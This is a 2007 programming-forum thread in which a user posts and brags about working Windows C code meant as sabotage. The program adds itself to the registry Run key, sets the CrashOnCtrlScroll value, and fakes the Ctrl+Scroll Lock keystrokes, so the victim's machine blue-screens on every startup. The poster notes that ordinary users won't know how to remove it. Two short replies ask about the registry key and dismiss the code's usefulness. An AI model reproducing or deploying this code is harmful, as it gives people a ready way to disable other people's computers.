GOOD destructive code.

Discussion in 'Programming General' started by Govind, Dec 22, 2007.

GOOD destructive code.
  1. Unread #1 - Dec 22, 2007 at 9:22 PM
  2. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    GOOD destructive code.

    Not a virus, just destructive code, but better destructive code traditional nooby delete-a-random-windows-system-file "virus" that will clearly show the user what file went missing.

    This forces BSODs (unrecoverable kernel errors) on startup, and since most XP accounts are created as Administrators by default, the registry key will probably be writable by nearly all users that run this. It's also compatible on Win2k, Srv03 and Vista (I think). It is quite easy to defeat by enabling safe mode and removing the registry entries, but most people have no clue what the registry is, or how to edit it.
    Code:
    #include <windows.h>
    
    int APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         int       nCmdShow)
    {
         HKEY KeyHandle;
        DWORD Data = 1;
        RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
        RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
        RegCloseKey(KeyHandle);
        char filename[MAX_PATH];
        GetModuleFileName(NULL,filename,MAX_PATH-1);
        //MessageBox(NULL,filename,"",MB_OK);
        HKEY startup;
        RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&startup);
        RegSetValueEx(startup,"StartupServices",NULL,REG_SZ,(BYTE*)&filename,sizeof(filename));
        RegCloseKey(startup);
        keybd_event(VK_RCONTROL,NULL,NULL,NULL);
        keybd_event(VK_SCROLL,NULL,NULL,NULL);
        keybd_event(VK_SCROLL,NULL,KEYEVENTF_KEYUP,NULL);
        keybd_event(VK_SCROLL,NULL,NULL,NULL);
        keybd_event(VK_SCROLL,NULL,KEYEVENTF_KEYUP,NULL);
        return 0;
    }
     
  3. Unread #2 - Dec 24, 2007 at 12:14 PM
  4. cp
    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0

    cp an cat
    Banned

    GOOD destructive code.

    Win.

    As far as my not-C++-programming skillz go, I can understand that you're adding to startup, and getting rid of the Right-Control button and the Scroll Lock butt, right?

    Why are you making a memory dump thingy?
    SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters
    Google says that's meant to generate a memory dump.

    I could be wrong though.
     
  5. Unread #3 - Dec 24, 2007 at 8:44 PM
  6. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    GOOD destructive code.

    You kinda got it wrong. :) I'll explain it better later.
     
  7. Unread #4 - Jan 5, 2008 at 2:21 AM
  8. Shlorine
    Referrals:
    0

    Shlorine Guest

    GOOD destructive code.

    Looks good... to the coders in this forum are way overdestructive... And these simple codes are useless cause its noway anyone are going to accept it as a file even less chance to open it.
     
< Dumb question :P | Gas Detection in VB6? >

Users viewing this thread
1 guest


 
 
Adblock breaks this site